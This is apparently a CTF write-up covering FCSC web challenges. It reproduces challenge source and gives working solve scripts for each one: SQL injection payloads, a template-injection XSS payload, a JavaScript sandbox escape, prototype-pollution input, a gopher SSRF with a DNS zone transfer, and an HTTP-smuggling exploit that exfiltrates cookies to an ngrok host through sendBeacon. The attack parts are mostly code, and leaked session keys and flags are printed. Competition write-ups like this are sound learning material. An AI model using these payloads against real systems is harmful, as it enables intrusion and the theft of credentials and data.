As for every years, several (non-)European countries are organizing their own cybersecurity
event like the CSCG, ACSC or ICSC.
Here is a selection from the web category.
Please note that some challenges have been modified over time without necessarily paying attention to it.
A challenge based on Structured Query Language injection:
@app.route("/", methods=["GET", "POST"]) # ./src/welcome-admin.py
@login_for(Rank.GUEST, Rank.ADMIN, "/admin")
def level1(cursor: cursor, password: str):
token = os.urandom(16).hex(); cursor.execute(f"SELECT '{token}' = '{password}'")
row = cursor.fetchone()
if not row: return False
if len(row) != 1: return False
return bool(row[0])
@app.route("/admin", methods=["GET", "POST"])
@login_for(Rank.ADMIN, Rank.SUPER_ADMIN, "/super-admin", FIRST_FLAG)
def level2(cursor: cursor, password: str):
token = os.urandom(16).hex()
cursor.execute(f"""CREATE FUNCTION check_password(_password text) RETURNS text
AS $$ BEGIN IF _password = '{token}' THEN RETURN _password; END IF; RETURN 'nope'; END; $$
IMMUTABLE LANGUAGE plpgsql;""")
cursor.execute(f"SELECT check_password('{password}')")
row = cursor.fetchone()
if not row: return False
if len(row) != 1: return False
return row[0] == token
@app.route("/super-admin", methods=["GET", "POST"])
@login_for(Rank.SUPER_ADMIN, Rank.HYPER_ADMIN, "/hyper-admin")
def level3(cursor: cursor, password: str):
token = os.urandom(16).hex(); cursor.execute(f"SELECT '{token}', '{password}';")
row = cursor.fetchone()
if not row: return False
if len(row) != 2: return False
return row[1] == token
@app.route("/hyper-admin", methods=["GET", "POST"])
@login_for(Rank.HYPER_ADMIN, Rank.TURBO_ADMIN, "/turbo-admin")
def level4(cursor: cursor, password: str):
cursor.execute(f"""SELECT md5(random()::text), '{password}';""")
row = cursor.fetchone()
if not row: return False
if len(row) != 2: return False
return row[0] == row[1]
@app.route("/turbo-admin", methods=["GET", "POST"])
@login_for(Rank.TURBO_ADMIN, Rank.FLAG, "/flag")
def level5(cursor: cursor, password: str):
table_name = "table_" + os.urandom(16).hex()
col_name = "col_" + os.urandom(16).hex()
token = os.urandom(16).hex()
cursor.execute(f"""CREATE TABLE "{table_name}" (id serial PRIMARY KEY, "{col_name}" text); INSERT INTO "{table_name}"("{col_name}") VALUES ('{token}');""")
cursor.execute(f"SELECT '{password}';"); row = cursor.fetchone()
if not row: return False
if len(row) != 1: return False
return row[0] == token
@app.route("/flag")
def flag():
current_rank = Rank.from_session()
if current_rank < Rank.FLAG: return "You are not allowed to access this page"
return f"Congratulations! The flag is: {SECOND_FLAG}"
url = "https://welcome-admin.france-cybersecurity-challenge.fr"; url = "http://localhost:8000"
s = __import__("requests").session() # FCSC{94738150696e2903c924f0079bd95cd8256c648314654f32d6aaa090846a8af5}
_ = s.post(f"{url}", data={"password":"'or 1=1--"})
_ = s.post(f"{url}/admin", data={"password":"')union select substr(pg_get_functiondef('check_password'::regproc),0xb2,0x20)--"})
_ = s.post(f"{url}/super-admin", data={"password":"'or union(select null,substring(query from 0x9 for 0x20)from pg_stat_activity limit 1 offset 2)union select '',null where '0'='"})
_ = s.post(f"{url}/hyper-admin", data={"password":"'where 0=1 union select '','"})
print(s.post(f"{url}/turbo-admin", data={"password":"'where 0=1 union select substring(database_to_xml(true,true,'')::text,0xa8,0x20)where ''='"}).text)
# Congratulations! The flag is: FCSC{a380e590ae8ffe8da9bb86f27d05203b7f9d32dd37c833c2764097840848b3a2}
A challenge based on IDOR/SSTI:
diff --git a/src/app/layouts/bubbles.ts b/src/app/layouts/bubbles.ts
index 416e41c..66bd4ae 100644
--- a/src/app/layouts/bubbles.ts
+++ b/src/app/layouts/bubbles.ts
@@ -3,7 +3,7 @@ export default `
<div class="flex flex-col space-y-px px-8 py-4">
<div class="flex justify-start text-xs font-mono">
{{ message.time.toLocaleString(undefined, { timeStyle: "short", hour12: false }) }} |
- {{ message.author.split("-")[0] }}
+ XXX
</div>
<div class="flex justify-start text-xs font-mono">
<div class="max-w-xs p-2 text-black bg-gray-300 rounded-lg">
@@ -28,7 +28,7 @@ export default `
<div class="flex flex-col space-y-2">
{%for message in messages%}
- {% if message.author == userId %}
+ {% if message.author %}
{{ sent(message) }}
{% else %}
{{ received(message) }}
diff --git a/src/app/layouts/irc.ts b/src/app/layouts/irc.ts
index 192497e..38aabd5 100644
--- a/src/app/layouts/irc.ts
+++ b/src/app/layouts/irc.ts
@@ -4,7 +4,7 @@ export default `
<div
class="grid grid-cols-subgrid col-span-full divide-x divide-blue-500 [&:nth-child(2n)::bg-black/5">
<div class="px-2 py-1">{{ message.time.toLocaleString(undefined, { timeStyle: "short", hour12: false }) }}</div>
- <div class="px-2 py-1">{{ message.author.split("-")[0] }}</div>
+ <div class="px-2 py-1">{{ "You" if message.author else "XXX" }}</div>
<div class="px-2 py-1 truncate">
{{message.content}}
</div>
diff --git a/src/app/server/worker.ts b/src/app/server/worker.ts
index df227f6..6591a4b 100644
--- a/src/app/server/worker.ts
+++ b/src/app/server/worker.ts
@@ -33,8 +33,9 @@ pipe.on("addMessage", (userId, content) => {
});
pipe.on("render", (userId) => {
+ const msgs = messages.map((msg) => ({...msg, author: msg.author === userId}))
return nunjucks.renderString(userTemplates.get(userId) ?? defaultTemplate, {
- messages,
+ messages: msgs,
userId,
split: (s: string, size = 32) => {
const result = [];
url = "https://noise.france-cybersecurity-challenge.fr"; url = "http://localhost:8000"
md5 = __import__("hashlib").md5().hexdigest()
s = __import__("requests").session()
_ = s.get(f"{url}/chat")
_ = s.get(f"{url}/api/room/{md5}")
_ = s.post(f"{url}/api/room/{md5}", data={"message":template.replace('message.author.split(\"-\")[0]', "message.author")})
_ = s.post(f"{url}/api/visit", data={"roomId":md5})
poc = b'''document.getElementById("form-btn").addEventListener("click",()=>document.cookie='userId='+document.getElementById('form-input').value+';path=/');'''
k = (b'{{"<html><body>"|safe}}{%for message in messages%}{{message.content}}{%endfor%}{{"</body><svg/onerror=eval(atob("'+__import__("base64").b64encode(poc)+b'"))>"|safe}}').hex()
t = s.post(f"{url}/api/room/{md5}", data={"message":k})
while 1:
t = s.get(f"{url}/api/room/{md5}").text
if "596f" in t:
print(t.text); print(bytes.fromhex("596f752063616e2068617665207468697320666c616720696620796f752077616e743a20464353437b386532393665646335323835383938643732316665623062643635353265316237616333336338666261393030363066616465643536373033326331306139667d").decode())
break # You can have this flag if you want: FCSC{8e296edc5285898d721feb0bd6552e1b7ac33c8fba90060faded567032c10a9f}
One part of the challenge has been patched but we (or LLM) can get some prototype pollution with the nunjucks
templating:
import nunjucks from "nunjucks"; // ./src/app/server/worker.js
import { createPipe } from "./pipe"; // I've heard that nunjucks is vulnerable to SSTI but I think this is enough to prevent it
const removeConstructor = (obj) => Object.defineProperty(obj.__proto__, "constructor", { value: null });
removeConstructor(async function*() {}); // https://stackoverflow.com/questions/12678716
removeConstructor(async function() {});
removeConstructor(function*() {});
removeConstructor(function() {}); // ----------------------------
nunjucks.configure({ autoescape: true, noCache: true });
const pipe = createPipe(self);
const messages = [];
const userTemplates = new Map();
pipe.on("addMessage", (userId, content) => {
messages.push({
author: userId, content,
time: new Date(),
});
});
pipe.on("render", (userId) => {
return nunjucks.renderString(userTemplates.get(userId) ?? defaultTemplate, {
messages, userId,
split: (s, size = 32) => { // Problem here, a bit like "rock"
const result = [];
for (let i = 0; i < s.length; i += size) { result.push(s.slice(i, i + size)); }
return result.join(" ");
},
});
});
pipe.on("updateTemplate", (userId, template) => { userTemplates.set(userId, template); });
- https://mozilla.github.io/nunjucks/templating.html#global-functions like Flask SSTI
''.__proto__.__defineGetter__("toString",joiner(joiner([]).next) // bind
- Hashing todo
A challenge based on CORS headers and dotenv
exfiltration.
There were two dotenv .env
files present in the cors.tar.xz
archive which was obviously unplanned, but made solving the challenge much easier:
const express = require("express"); // ./src/app/app.js
const cookieSession = require("cookie-session"); require("dotenv").config();
const app = express();
app.use(cookieSession({ // KEY1=244f6308a26ad41dd8ebacf617282a7f3dc1cb6fec5fa7a03f1a907857295620 KEY2=c3f8b13c86454198e624813a8d480dd2a43ed5154e5b43f33eedfe962831bbf2
name: "session", keys: [process.env.KEY1, process.env.KEY2] // curl "https://cors-playground.france-cybersecurity-challenge.fr/cors?x-accel-redirect=.env"
}));
app.all("/cors", (req, res) => {
for (const [key, value] of Object.entries(req.query)) {
if (key.includes("X-")) delete req.query[key]
}
res.set(req.query);
if (req.session.user === "internal" && !req.query.filename?.includes("/")) {
res.sendfile(req.query.filename || "app.js");
} else {
res.send("Hello World!");
}
});
app.use(express.static("public"));
app.listen(process.env.PORT, () => { console.log(`CORS Playground running on port ${process.env.PORT}`); });
GET /cors?filename[]=/flag.txt HTTP/1.1
Host: cors-playground.france-cybersecurity-challenge.fr
Connection: close
Cookie: session=...==;session.sig=...
FCSC{17747e6e30f378a2fc84f3d6fa93c192e0d3e5dbe670d8913c67c99741e62c5c} old one
FCSC{692ee58458f81decea191104293b2cd00e7d96f287c0f693f9737fbb2bcf5f46} new one
A challenge based on unsafe randomness:
export const fullCollection = [ // ./src/utils/collections.ts
{ name: "Ocean Pearl Bivalve", img: "/mussle.webp" },
{ name: "Royal Crustacean", img: "/crab.webp" },
{ name: "Luminescent Medusa", img: "/jellyfish.webp" },
{ name: "Sovereign Cephalopod", img: "/octopus.webp" },
{ name: "Coral Reef Specter", img: "/shrimp.webp" },
{ name: "Celestial Seastar", img: "/star.webp" },
{ name: "Majestic Chelonian", img: "/turtle.webp" },
{ name: "Treasure Trove", img: "/molluscs.webp" },
] as const;
export interface LootBox {
id: string;
seed: number;
}
export function createBox() {
return {
id: randomHex(),
seed: randomNumber(),
};
}
function _openBox(box: LootBox, key: number) {
const ts = Math.floor(Date.now() / 1000);
switch (true) {
case key === box.seed:
return 1;
case Math.abs(key - ts) < 60:
return 2;
case box.seed % key === 0:
return 3;
case Math.cos(key) * 0 !== 0:
return 4;
case key && (box.seed * key) % 1337 === 0:
return 5;
case key && (box.seed | key) === (box.seed | 0):
return 6;
case !(key < 0) && box.seed / key < 0:
return 7;
default:
return 0;
}
}
export function openBox(box: LootBox, key: number) {
const lootId = _openBox(box, key);
const loot = fullCollection[lootId];
console.log(`[BOX OPEN] seed=${box.seed} key=${key} result=${loot.name}`);
return { loot, lootId };
}
url = "https://abyssal-odds.france-cybersecurity-challenge.fr"; url = "http://localhost:8000"
s = __import__("requests").session() # [...] buying()
_ = send(0)
_ = send(xs128p) # cfr. https://github.com/d0nutptr/v8_rand_buster/blob/master/xs128p.py
_ = send(round(time.time()))
_ = send(1)
_ = send("Infinity")
_ = send(0x539)
_ = send("02")
_ = send("-0")
open(s) # FCSC{1f007a2f9522ba392d045049fbf07504fa3cabf2c78c32f9b3ab2fd905653cca}
A challenge based on JavaScript sandbox:
function freezeEveryThing() {
const asyncFunc = async function () {};
const asyncGenFunc = async function* () {};
const genFunc = function* () {};
Function.prototype.constructor = null;
Object.defineProperty(asyncFunc.constructor.prototype, "constructor", {
value: null,
configurable: false,
writable: false,
});
Object.defineProperty(asyncGenFunc.constructor.prototype, "constructor", {
value: null,
configurable: false,
writable: false,
});
Object.defineProperty(genFunc.constructor.prototype, "constructor", {
value: null,
configurable: false,
writable: false,
});
Object.defineProperties = null;
Object.defineProperty = null;
Object.setPrototypeOf = null;
Object.freeze(Array);
Object.freeze(BigInt);
Object.freeze(Error);
Object.freeze(Function);
Object.freeze(Math);
Object.freeze(Number);
Object.freeze(Object);
Object.freeze(Promise);
Object.freeze(RegExp);
Object.freeze(String);
Object.freeze(Symbol);
Object.freeze(Array.prototype);
Object.freeze(BigInt.prototype);
Object.freeze(Error.prototype);
Object.freeze(Function.prototype);
Object.freeze(Math.prototype);
Object.freeze(Number.prototype);
Object.freeze(Object.prototype);
Object.freeze(Promise.prototype);
Object.freeze(RegExp.prototype);
Object.freeze(String.prototype);
Object.freeze(Symbol.prototype); // Object.freeze(Date);
Object.freeze(asyncFunc.__proto__);
Object.freeze(asyncGenFunc.__proto__);
Object.freeze(genFunc.__proto__);
Object.freeze(asyncGenFunc.__proto__.prototype);
Object.freeze(genFunc.__proto__.prototype);
}
function proxyObject(obj, allowList) {
if (!allowList) {
allowList = Object.getOwnPropertyNames(obj);
}
return new Proxy(obj, {
get(target, prop) {
if (allowList.includes(prop)) {
return target[prop];
}
return undefined;
},
set() {
return false;
},
has(target, prop) {
return allowList.includes(prop) && prop in target;
},
ownKeys(target) {
return allowList;
},
setPrototypeOf() {
return false;
},
getPrototypeOf() {
return null;
},
getOwnPropertyDescriptor(target, prop) {
if (allowList.includes(prop)) {
return Object.getOwnPropertyDescriptor(target, prop);
}
return undefined;
},
});
}
function checkSyntax(code) {
Function(code);
if (/\bimport\s*(?:[(]|\/[*]|\/\/|<!--|-->)/.test(code)) {
throw new Error("Dynamic imports are blocked");
}
return true;
}
function run(code) {
freezeEveryThing();
const newThis = {
__proto__: null,
console: proxyObject(console, ["log", "error", "warn", "info", "table", "clear"]),
print: proxyObject(parent.postMessage.bind(parent)),
Date: proxyObject(Date),
String: proxyObject(String),
Number: proxyObject(Number),
Array: proxyObject(Array),
Symbol: proxyObject(Symbol),
Math: proxyObject(Math),
Error: proxyObject(Error),
RegExp: proxyObject(RegExp),
Object: proxyObject(Object),
};
const global = new Proxy({
__proto__: null,
this: newThis,
proxy: newThis,
globalThis: newThis,
window: newThis,
},
{
get(obj, prop) { return Reflect.get(obj, prop); },
set() {},
has() { return true; },
}
);
Function("global", `with(global){with(proxy){return (function(){"use strict"; print("[Jail] Started"); ${code}; })(); }}`)(global);
}
function safeEval(code) {
try {
parent.postMessage("[Jail] Powering up", "*");
if (checkSyntax(code)) {
const start = Date.now();
run(code);
const end = Date.now();
parent.postMessage(`[Jail] Done (${end - start}ms)`, "*");
}
} catch (e) {
parent.postMessage(`[Jail] Error: ${e}`, "*");
}
}
// https://monopoly.france-cybersecurity-challenge.fr/jail.html?code=
try{Date.prototype.__defineGetter__.call(print,"length",function(){return this.__proto__})}catch(__){_=__;};print.length.constructor.constructor('alert("[GET OUT OF JAIL]")')()
// FCSC{2fdaccef0afb084f40c4bf38f681262141bcbabfbed0312725f59e40c54edb21}
A challenge based on prototype pollution:
const QUIZZ = [ "a rock", "a rock", "the rock", "the rock", "the rock", "a rock", "the rock",
"the rock", "a rock", "a rock", "a rock", "a rock", "the rock", "the rock", "a the rock rock" ];
const QUIZZ_MAX = QUIZZ.length; // ./src/app/quizz.ts
QUIZZ[1337] = process.env.FLAG || "FCSC{flag}";
function isValidQuestion(question: number): question is number {
const id = Number(question);
if (Number.isNaN(id)) {
return false;
}
if (Math.floor(id) !== id) {
return false;
}
return id > -1 && id < QUIZZ_MAX;
}
export default {
checkAnswer(question: number, answer: string) {
if (!isValidQuestion(question)) {
return false;
}
const correctAnswer = QUIZZ[question];
const guess = answer.toString().toLowerCase();
return guess.includes(correctAnswer);
},
};
{
"json": {
"answer": {},
"question": { "length": 1, "0": "1337" },
"k": [], "v": 1
},
"meta": {
"referentialEqualities": {
"answer.valueOf": [ "answer.toLowerCase", "answer.toString" ],
"v.propertyIsEnumerable": [ "question.valueOf" ],
"k.join": [ "question.toString" ], "k.push": [ "answer.includes" ]
}
}
}
A challenge based on HTTP Smuggling, while running the ./solution/submit_url.py
script on our same VPS/host:
from flask import Flask, session, request, Response, render_template, jsonify
from os import urandom, environ; from hashlib import sha512; import bot
app = Flask(__name__) # ./src/app.py
app.secret_key = urandom(24)
def init(session):
if "scores" not in session: session["scores"] = []
@app.route("/")
def index():
init(session); return render_template("index.html")
@app.route("/api", methods=["GET", "POST"])
def note():
init(session)
action = request.args.get("action")
if not action:
return jsonify({"error": "?action= must be set!"})
if action == "color":
res = Response(request.args.get("callback"))
res.headers["Content-Type"] = "text/plain"
res.headers["Set-Cookie"] = f"color={request.args.get('color', 'red')}"
return res
if action == "add":
if not request.method == "POST": return jsonify({"error": "invalid HTTP method"})
d = request.form if request.form else request.get_json()
if not ("name" in d and "score" in d): return jsonify({"error": "name and score must be set"})
session["scores"] += [{"name": d["name"], "score": d["score"]}]
return jsonify({"length": len(session["scores"])})
if action == "view":
raw = request.args.get("raw", False)
if raw:
res = Response("".join([f"{v['name']} -> {v['score']}\n" for v in session["scores"]]))
res.headers["Content-Type"] = "text/plain"
else: res = jsonify(session["scores"])
return res
if action == "clear":
session.clear()
return jsonify({"clear": True})
return jsonify({"error": "invalid action value (color || add || view || clear)"})
# This part of the code is only used for the bot to visit the exploitation link. Don't lose your time auditing it.
def verify_pow(session, pow, difficulty=6):
pow = sha512(pow.encode()).hexdigest()[:difficulty]; ret = "chall" in session and session["chall"] == pow
session["chall"] = sha512(urandom(24).hex().encode()).hexdigest()[:difficulty]
return ret
@app.route("/visit")
def visit():
if not environ.get("LOCAL") and not verify_pow(session, request.args.get("pow", "random")): return jsonify({"chall": session["chall"]})
url = request.args.get("url")
if url and (url.startswith("https://") or url.startswith("http://")):
bot.visit(url); return jsonify({"Visit": "OK"})
else: return jsonify({"Error": "?url= must be set and starts with https:// or http://"})
if __name__ == "__main__":
app.run("0.0.0.0", 8000)
#############################################
from selenium import webdriver # ./src/bot.py
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.chrome.service import Service
from time import sleep; from os import environ
def visit(url):
chrome_options = Options()
chrome_options.add_argument("--headless")
chrome_options.add_argument("--incognito")
chrome_options.add_argument("--no-sandbox")
chrome_options.add_argument("--disable-gpu")
chrome_options.add_argument("--disable-jit")
chrome_options.add_argument("--disable-wasm")
chrome_options.add_argument("--disable-dev-shm-usage")
chrome_options.add_argument("--ignore-certificate-errors")
chrome_options.binary_location = "/usr/bin/chromium-browser"
service = Service("/usr/bin/chromedriver")
driver = webdriver.Chrome(service=service, options=chrome_options)
driver.set_page_load_timeout(3) # chromium-chromedriver~=123
driver.get("http://127.0.0.1:8000")
driver.add_cookie({
"name": "flag_medium",
"value": environ.get("FLAG_MEDIUM"),
"path": "/", "httpOnly": False,
"samesite": "Strict", "domain": "127.0.0.1"
})
driver.add_cookie({
"name": "flag_hard",
"value": environ.get("FLAG_HARD"),
"path": "/", "httpOnly": True,
"samesite": "Strict", "domain": "127.0.0.1"
})
try: driver.get(url)
except: pass
sleep(3); driver.close()
from flask import Flask, Response, request; from pyngrok import ngrok
url = ngrok.connect(1234, "http", name="tunnel_ctf").public_url; k = __import__('urllib.parse').parse.quote(url); v = len(url)
chall = "https://twisty-python.france-cybersecurity-challenge.fr" # "http://localhost:8000/visit"
app = Flask(__name__)
@app.route("/")
def x():
html = f"""<form/id=x/method="POST" action="http://localhost:8000/api?action=color&color=%ef%bf%bcx" enctype=text/plain><textarea name="GET /api?action">color&color=1&callback=HTTP%2F1.1+200+OK%0AServer%3A+Werkzeug%2F3.0.1+Python%2F3.11.8%0AContent-Type%3A+text%2Fhtml%3B+charset%3Dutf-8%0AContent-Length%3A+{29+v}%0AConnection%3A+close%0A%0A%3Cscript%20src%3D%27{k}%2Fz.js%27%3E%3C%2Fscript%3E HTTP/0.9
localhost%3A8000\r\nHost: localhost\r\n\r\n</textarea></form><form method="GET" action="http://localhost:8000/api?action=view"/id="y"></form><script>x.submit();setTimeout(2e3,()=>y.submit());</script>""".strip() # document.forms[0].submit();
r = Response(html, mimetype="text/html")
r.headers["Access-Control-Allow-Headers"] = r.headers["Access-Control-Allow-Methods"] = r.headers["Access-Control-Allow-Origin"] = "*"
return r
@app.route("/z.js")
def y():
html = f"""fetch("http://localhost:8000/api?action=color&callback=aaaaaaaaaaaaaaaaaaaaaaaaa&color=%EF%BF%Bcx", {{
body:"POST /api?action=add HTTP/1.1\\r\\nExpect:100-Continue\\r\\nContent-Type:application/x-www-form-urlencoded\\r\\nConnection:keep-alive\\r\\nContent-Length:800\\r\\n\\r\\nscore=1&name=",
method:"POST", mode:"cors", credentials:"include", keepalive:1
}}).then(() => {{ fetch("http://localhost:8000/api?action=view", {{ referrer: "no-referrer", credentials: "include", mode:"cors" }})
}}); setTimeout(() => {{
fetch("http://localhost:8000/api?action=view", {{
method:"GET", credentials: "include", mode: "cors", keepalive:1
}}).then(r => r.text()).then(r=>{{ navigator.sendBeacon("{url}/exfil",btoa(r)) }});
}}, 2e3);"""
r = Response(html, mimetype="text/javascript")
r.headers["Access-Control-Allow-Headers"] = r.headers["Access-Control-Allow-Methods"] = r.headers["Access-Control-Allow-Origin"] = "*"
return r
@app.route("/exfil", methods=["POST"])
def z():
print(request.data)
# flag_medium=FCSC{ec0f4f2cd417f0788efd909767b0c2690f11bedb418b2d7773e6c9a6537c7a26}
# flag_hard= FCSC{a27d820450644445dda6757b8d01793456e6308a1c04bebaf5b434625129159e}
return request.data.decode()
if __name__ == "__main__":
_ = __import__("requests").session().get(f"http://localhost:8000/visit?url={__import__('urllib.parse').parse.quote('http://localhost:1234')}"); print(_, url, k, v)
app.run(host="0.0.0.0", port=1234, debug=0)
A challenge based on DNS curl options, Tornado Python, Gopher SSRF and Backtracking bypass:
<?php
if (isset($_GET["source"])) { highlight_file("index.php"); exit(); }
$_GET["game"] = $_GET["game"] ?? "pong";
if (preg_match("/[^a-z\.]|((.{10,})+\.)+$|[a-z]{10,}/", $_GET["game"])) {
echo "403 Forbidden!"; exit();
}
$ch = curl_init();
$options = [ CURLOPT_URL => "http://" . $_GET["game"] . ".fcsc2024.fr:5000" ];
if ($_SERVER["REMOTE_ADDR"] === "127.0.0.1" && isset($_GET["options"])) {
$options += $_GET["options"];
}
curl_setopt_array($ch, $options);
curl_exec($ch);
?>
from dnslib.server import DNSServer, BaseResolver
from dnslib import RR, QTYPE, RCODE, A
from dns import resolver; from os import environ; import threading
DOMAINS = {"frontend.fcsc2024.fr.":environ["FRONTEND_IP"],"pong.fcsc2024.fr.":environ["BACKEND_IP"],f"{environ['FLAG_DOMAIN']}.fcsc2024.fr.":environ["FLAG_IP"]}
class LocalDNS(BaseResolver): # ./src/dns/src/dns_server.py
def resolve(self, request, handler):
reply = request.reply(); q = request.q
if q.qtype == QTYPE.A and str(q.qname) in DOMAINS: reply.add_answer(RR(q.qname, QTYPE.A, rdata=A(DOMAINS[str(q.qname)])))
elif q.qtype == QTYPE.A:
default_resolver = resolver.Resolver()
try:
answers = default_resolver.resolve(str(q.qname), "A")
for answer in answers: reply.add_answer(RR(q.qname, QTYPE.A, rdata=A(answer.address)))
except:
reply.header.rcode = RCODE.NXDOMAIN
elif q.qtype == QTYPE.AXFR and str(q.qname) == "fcsc2024.fr.":
for domain, ip in DOMAINS.items(): reply.add_answer(RR(domain, QTYPE.A, rdata=A(ip)))
else:
reply.header.rcode = RCODE.NXDOMAIN
return reply
def run_server(protocol):
resolver = LocalDNS()
server = DNSServer(resolver, address="0.0.0.0", port=53, tcp=(protocol == "TCP"))
server.start()
if __name__ == "__main__":
threading.Thread(target=run_server, args=("TCP",)).start(); threading.Thread(target=run_server, args=("UDP",)).start()
url = "http://pong.france-cybersecurity-challenge.fr"; url = "http://localhost:8000"
# https://en.wikipedia.org/wiki/DNS_zone_transfer
print(__import__("requests").get(f"{url}/?game=aaaaa.aaa.aaa.a.a..........................................................................a@localhost/?game=aaaa.aaa.aaa................................................a@pong.fcsc2024.fr:5000%2523%26options[52]=true%26options[10036]={__import__('urllib.parse').parse.quote_plus(__import__('urllib.parse').parse.quote_plus(f"""GET gopher://pong-internal-dns:53/_%004n%db%00%20%00%01%00%00%00%00%00%01%08fcsc2024%02fr%00%00%fc%00%01%00%00%29%04%d0%00%00%00%00%00%0c%00%0a%00%08i%B8%29%3c05p%8a%2f..%2fjs HTTP/1.1\r\nHost:localhost\r\n\r\n"""))}%26options[182]=33554432%26a=%23").text)
# 37b9da922f6360e301faeff19bac866c1a042d4a (local fake_domain) is the flag domain name.
# FCSC{d8af233176d6ca50598a48fc47d8cadeae37b3d35a641efc1ad7777c86fe28a9}
# https://curl.se/libcurl/c/CURLOPT_CUSTOMREQUEST.html | https://medium.com/@tomnomnom/crlf-injection-into-phps-curl-options-e2e0d7cfe545
# echo CURLOPT_FOLLOWLOCATION . ", " . CURLOPT_REDIR_PROTOCOLS; // 52, 182
# echo CURLOPT_USERAGENT . ", " . CURLOPT_CUSTOMREQUEST; // 10018, 10036
# echo CURLPROTO_GOPHER; // 33554432
Unfortunately, the infrastructure was very unstable but we learned a lot along the way!